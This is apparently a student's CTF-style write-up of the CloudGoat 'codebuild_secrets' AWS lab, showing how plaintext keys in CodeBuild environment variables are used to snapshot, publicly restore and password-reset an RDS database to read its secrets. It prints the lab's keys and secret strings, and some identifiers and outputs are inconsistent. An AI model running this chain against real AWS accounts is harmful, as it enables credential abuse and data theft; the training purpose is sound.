

# codebuild\_secrets

BoB 13 Digital Forensics track

이찬우(9621)

## <1> Calrissian

```
user@user:~$ aws codebuild list-projects --profile Solo
{
  "projects": [
    "cg-codebuild-codebuild_secrets_cgid7gkqshhzip"
  ]
}
```

First, I've figured out Solo's projects ID.

```
user@user:~$ aws codebuild batch-get-projects --names cg-codebuild-codebuild_secrets_cgid7gkqshhzip
--profile Solo
{
  "projects": [
    {
      "name": "cg-codebuild-codebuild_secrets_cgid7gkqshhzip",
      "arn": "arn:aws:codebuild:us-east-1:924603634412:project/cg-codebuild-codebuild_secrets_cgid7gkqshhzip",
      "source": {
        "source": {
          "projects": [
            {
              "name": "cg-codebuild-codebuild_secrets_cgid7gkqshhzip",
              "arn": "arn:aws:codebuild:us-east-1:924603634412:project/cg-codebuild-codebuild_secrets_cgid7gkqshhzip",
              "source": {
                "type": "NO_SOURCE",
                "gitCloneDepth": 0,
                "buildspec": "version: 0.2\n\nphases:\n  pre_build:\n    commands:\n      - echo \"This is CloudGoat's simplest buildspec file ever (maybe)\"",
                "insecureSsl": false
              },
              "artifacts": {
                "type": "NO_ARTIFACTS",
                "overrideArtifactName": false
              },
              "cache": {
                "type": "NO_CACHE"
              },
              "environment": {
                "type": "LINUX_CONTAINER",
                "image": "aws/codebuild/standard:1.0",
                "computeType": "BUILD_GENERAL1_SMALL",
                "environmentVariables": [
                  {
                    "name": "calrissian-aws-access-key",
                    "value": "AKIA5ORVL2LWHIFK2QW5",
                    "type": "PLAINTEXT"
                  },
                  {
                    "name": "calrissian-aws-secret-key",
                    "value": "EIs0byfxpHhn88lngQ7yMrI33ZGxT9DR85Iir1fy",
                    "type": "PLAINTEXT"
                  }
                ]
              },
              "privilegedMode": false,
              "imagePullCredentialsType": "CODEBUILD"
            }
          ],
          "serviceRole": "arn:aws:iam:924603634412:role/code-build-cg-codebuild_secrets_cgid7gkqshhzip-service-role",
          "timeoutInMinutes": 20,
          "queuedTimeoutInMinutes": 480,
          "encryptionKey": "arn:aws:kms:us-east-1:924603634412:alias/aws/s3",
          "tags": [
            {
              "key": "Name",
              "value": "cg-codebuild-codebuild_secrets_cgid7gkqshhzip"
            },
            {
              "key": "Scenario",
              "value": "codebuild-secrets"
            },
            {
              "key": "Stack",
              "value": "CloudGoat"
            }
          ]
        }
      }
    }
  ]
}
```

Using the project ID we found above, we figured out calrissian's access key and secret key. Each is described below.

- Access key: AKIA5ORVL2LWHIFK2QW5
- Secret key: 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

```

user@user:~$ aws configure --profile Calrissian
AWS Access Key ID [None]: AKIA50RVL2LWHIFK2QW5
AWS Secret Access Key [None]: EIs0byfxpHhn88lngQ7yMrI33ZGxT9DR85Iir1fy
Default region name [None]: us-east-1
Default output format [None]:

```

With the key figured out, I set up Calrissian's profile configure.

```

{ser@user:~$
  "DBInstances": [
    {
      "DBInstanceIdentifier": "cg-rds-instance-codebuild-secrets-cgid7gkqshhzkp",
      "DBInstanceClass": "db.m5.large",
      "Engine": "postgres",
      "DBInstanceStatus": "available",
      "MasterUsername": "cgadmin",
      "DBName": "securedb",
      "Endpoint": {
        "Address": "cg-rds-instance-codebuild-secrets-cgid7gkqshhzkp.cb6c2ou8oet9.us-east-1
.rds.amazonaws.com",
        "Port": 5432,
        "HostedZoneId": "Z2R2ITUGPM61AM"
      },
      "AllocatedStorage": 20,
      "InstanceCreateTime": "2024-08-12T10:05:35.936000+00:00",
      "PreferredBackupWindow": "06:15-06:45",
      "BackupRetentionPeriod": 0,
      "DBSecurityGroups": [],
      "VpcSecurityGroups": [
        {
          "VpcSecurityGroupId": "sg-02a07788e1a5f8679",
          "Status": "active"
        }
      ],
      "DBParameterGroups": [
        {
          "DBParameterGroupName": "default.postgres16",
          "ParameterApplyStatus": "in-sync"
        }
      ],
      "AvailabilityZone": "us-east-1a",
      "DBSubnetGroup": {
        "DBSubnetGroupName": "cloud-goat-rds-subnet-group-codebuild_secrets_cgid7gkqshhzkp",
        "DBSubnetGroupDescription": "CloudGoat codebuild_secrets_cgid7gkqshhzkp Subnet Grou
p",
        "VpcId": "vpc-03351d61b5f8309c1",
        "SubnetGroupStatus": "Complete",
        "Subnets": [
          {
            "SubnetIdentifier": "subnet-0d483f926231e4249",
            "SubnetAvailabilityZone": {
              "Name": "us-east-1b"
            },
            "SubnetOutpost": {},
            "SubnetStatus": "Active"
          },
          {
            "SubnetIdentifier": "subnet-02d535e45d7ef2c3f",
            "SubnetAvailabilityZone": {
              "Name": "us-east-1a"
            },
            "SubnetOutpost": {},
            "SubnetStatus": "Active"
          }
        ]
      }
    }
  ],
}

```

```

    "PreferredMaintenanceWindow": "sun:03:56-sun:04:26",
    "PendingModifiedValues": {},
    "MultiAZ": false,
    "EngineVersion": "16.2",
    "AutoMinorVersionUpgrade": true,
    "ReadReplicaDBInstanceIdentifiers": [],
    "LicenseModel": "postgresql-license",
    "OptionGroupMemberships": [
      {
        "OptionGroupName": "default:postgres-16",
        "Status": "in-sync"
      }
    ],
    "PubliclyAccessible": false,
    "StorageType": "gp2",
    "DbInstancePort": 0,
    "StorageEncrypted": false,
    "DbiResourceId": "db-EGPLXGOX7HL3TIWQD5TFACSHRE",
    "CACertificateIdentifier": "rds-ca-rsa2048-g1",
    "DomainMemberships": [],
    "CopyTagsToSnapshot": false,
    "MonitoringInterval": 0,
    "DBInstanceArn": "arn:aws:rds:us-east-1:924603634412:db:cg-rds-instance-codebuild-secrets-cgid7gkqshhzip",
    "IAMDatabaseAuthenticationEnabled": false,
    "PerformanceInsightsEnabled": false,
    "DeletionProtection": false,
    "AssociatedRoles": [],
    "TagList": [
      {
        "Key": "Name",
        "Value": "cg-rds-instance-codebuild_secrets_cgid7gkqshhzip"
      },
      {
        "Key": "Scenario",
        "Value": "codebuild-secrets"
      },
      {
        "Key": "Stack",
        "Value": "CloudGoat"
      }
    ],
    "CustomerOwnedIpEnabled": false,
    "ActivityStreamStatus": "stopped",
    "BackupTarget": "region",
    "NetworkType": "IPv4",
    "StorageThroughput": 0,
    "CertificateDetails": {
      "CAIdentifier": "rds-ca-rsa2048-g1",
      "ValidTill": "2025-08-12T10:04:47+00:00"
    },
    "DedicatedLogVolume": false,
    "IsStorageConfigUpgradeAvailable": false,
    "EngineLifecycleSupport": "open-source-rds-extended-support"
  }
]
}

```

Enter the command `aws rds describe-db-instances --profile Calrissian` to find out the `VpcSecurityGroupId`. The ID we found here is `"sg-02a07788e1a5f8679"`.

```

user@user:~$ aws rds create-db-snapshot --db-instance-identifier cg-rds-instance-codebuild-secrets-
cgid7gkqshhzhkp --db-snapshot-identifier cloudgoat --profile Calrissian
{
  "DBSnapshot": {
    "DBSnapshotIdentifier": "cloudgoat",
    "DBInstanceIdentifier": "cg-rds-instance-codebuild-secrets-cgid7gkqshhzhkp",
    "Engine": "postgres",
    "AllocatedStorage": 20,
    "Status": "creating",
    "Port": 5432,
    "AvailabilityZone": "us-east-1a",
    "VpcId": "vpc-03351d61b5f8309c1",
    "InstanceCreateTime": "2024-08-12T10:05:35.936000+00:00",
    "MasterUsername": "cgadmin",
    "EngineVersion": "16.2",
    "LicenseModel": "postgresql-license",
    "SnapshotType": "manual",
    "OptionGroupName": "default:postgres-16",
    "PercentProgress": 0,
    "StorageType": "gp2",
    "Encrypted": false,
    "DBSnapshotArn": "arn:aws:rds:us-east-1:924603634412:snapshot:cloudgoat",
    "IAMDatabaseAuthenticationEnabled": false,
    "ProcessorFeatures": [],
    "DbiResourceId": "db-EGPLXGOX7HL3TIWQD5TFACSHRE",
    "TagList": [],
    "SnapshotTarget": "region",
    "StorageThroughput": 0,
    "DedicatedLogVolume": false
  }
}

```

We found information about the database instance.

```

Instance",
  "Description": "CloudGoat codebuild_secrets_cgid7gkqshhzhkp Security Group for PostgreSQL RDS",
  "GroupName": "cg-rds-psql-codebuild_secrets_cgid7gkqshhzhkp",
  "IpPermissions": [
    {
      "FromPort": 5432,
      "IpProtocol": "tcp",
      "IpRanges": [
        {
          "CidrIp": "10.10.20.0/24"
        },
        {
          "CidrIp": "10.10.30.0/24"
        },
        {
          "CidrIp": "218.146.20.61/32"
        },
        {
          "CidrIp": "10.10.40.0/24"
        },
        {
          "CidrIp": "10.10.10.0/24"
        }
      ],
      "Ipv6Ranges": [],
      "PrefixListIds": [],
      "ToPort": 5432,
      "UserIdGroupPairs": []
    }
  ],

```

We see that it communicated over port 5432.



```

user@user:~$ aws rds restore-db-instance-from-db-snapshot --db-instance-identifier new-db --db-snapshot-identifier cloudgoat --db-subnet-group-name cloud-goat-rds-testing-subnet-group-codebuild_secrets_cgid7gkqshhzkp --vpc-security-group-ids sg-02a07788e1a5f8679 --publicly-accessible --region us-east-1 --profile Calrissian
{
  "DBInstance": {
    "DBInstanceIdentifier": "new-db",
    "DBInstanceClass": "db.m5.large",
    "Engine": "postgres",
    "DBInstanceStatus": "creating",
    "MasterUsername": "cgadmin",
    "DBName": "securedb",
    "AllocatedStorage": 20,
    "PreferredBackupWindow": "06:15-06:45",
    "BackupRetentionPeriod": 0,
    "DBSecurityGroups": [],
    "VpcSecurityGroups": [
      {
        "VpcSecurityGroupId": "sg-02a07788e1a5f8679",
        "Status": "active"
      }
    ],
    "DBParameterGroups": [
      {
        "DBParameterGroupName": "default.postgres16",
        "ParameterApplyStatus": "in-sync"
      }
    ]
  },
  "AvailabilityZone": "us-east-1a",
  "DBSubnetGroup": {
    "DBSubnetGroupName": "cloud-goat-rds-testing-subnet-group-codebuild_secrets_cgid7gkqshhzkp",
    "DBSubnetGroupDescription": "CloudGoat codebuild_secrets_cgid7gkqshhzkp Subnet Group ONLY for Testing with Public Subnets",
    "SubnetIds": [
      "subnet-02a07788e1a5f8679"
    ]
  }
}

```

I created a new DB based on the inputs, and retried it with help instead of new-db.

```

user@user:~$ aws rds modify-db-instance --db-instance-identifier help --master-user-password 12345678 --profile Calrissian
{
  "DBInstance": {
    "DBInstanceIdentifier": "help",
    "DBInstanceClass": "db.m5.large",
    "Engine": "postgres",
    "DBInstanceStatus": "available",
    "MasterUsername": "cgadmin",
    "DBName": "securedb",
    "Endpoint": {
      "Address": "help.cb6c2ou8oet9.us-east-1.rds.amazonaws.com",
      "Port": 5432,
      "HostedZoneId": "Z2R2ITUGPM61AM"
    },
    "AllocatedStorage": 20,
    "InstanceCreateTime": "2024-08-12T11:19:05.554000+00:00",
    "PreferredBackupWindow": "06:15-06:45",
    "BackupRetentionPeriod": 0,
    "DBSecurityGroups": [],
    "VpcSecurityGroups": [
      {
        "VpcSecurityGroupId": "sg-02a07788e1a5f8679",
        "Status": "active"
      }
    ],
    "DBParameterGroups": [
      {
        "DBParameterGroupName": "default.postgres16",
        "ParameterApplyStatus": "in-sync"
      }
    ],
    "AvailabilityZone": "us-east-1a",
    "DBSubnetGroup": {
      "DBSubnetGroupName": "cloud-goat-rds-testing-subnet-group-codebuild_secrets_cgid7gkqshhzkp",
      "DBSubnetGroupDescription": "CloudGoat codebuild_secrets_cgid7gkqshhzkp Subnet Group ONLY for Testing with Public Subnets",
      "SubnetIds": [
        "subnet-02a07788e1a5f8679"
      ]
    }
  },
  "ResponseMetadata": {
    "RequestId": "a1b2c3d4-e5f6-7890-abcd-efghijklmnopqrst",
    "HTTPStatusCode": 200,
    "HostId": "us-east-1",
    "RequestTime": "2024-08-12T11:19:05.554000+00:00",
    "TotalTime": "2024-08-12T11:19:05.554000+00:00"
  }
}

```

I set the master-user-password value for the db we just created to 12345678.

```

user@user:~$ psql postgresql://cgadmin@help.cb6c2ou8oet9.us-east-1.rds.amazonaws.com:5432/postgres
Password for user cgadmin:
psql (14.12 (Ubuntu 14.12-0ubuntu0.22.04.1), server 16.2)
WARNING: psql major version 14, server major version 16.
         Some psql features might not work.
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=> █

```

I have connected to the created DB.

```

postgres-> \l

```

List of databases					
Name	Owner	Encoding	Collate	Ctype	Access privileges
postgres	cgadmin	UTF8	en_US.UTF-8	en_US.UTF-8	
rdsadmin	rdsadmin	UTF8	en_US.UTF-8	en_US.UTF-8	rdsadmin=CTc/rdsadmin
securedb	cgadmin	UTF8	en_US.UTF-8	en_US.UTF-8	
template0	rdsadmin	UTF8	en_US.UTF-8	en_US.UTF-8	=c/rdsadmin +
					rdsadmin=CTc/rdsadmin +
template1	cgadmin	UTF8	en_US.UTF-8	en_US.UTF-8	=c/cgadmin +
					cgadmin=CTc/cgadmin

(5 rows)

I verified that the DB was created successfully.

```

postgres-> \c securedb
psql (14.12 (Ubuntu 14.12-0ubuntu0.22.04.1), server 16.2)
WARNING: psql major version 14, server major version 16.
         Some psql features might not work.
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "securedb" as user "cgadmin".

```

```

securedb-> \dt

```

List of relations			
Schema	Name	Type	Owner
public	sensitive_information	table	cgadmin

(1 row)

```

securedb=> SELECT * FROM sensitive_information;

```

name	value
Key1	V\!C70RY-PvyOSDptp0VNX2JDS9K9jVetC1xI4gM04
Key2	V\!C70RY-JpZFRektvUiWuhyPGF20m4SDYJtOTxws6

(2 rows)

After logging into the restored RDS database, I was able to obtain the secret string, which was the goal of the scenario.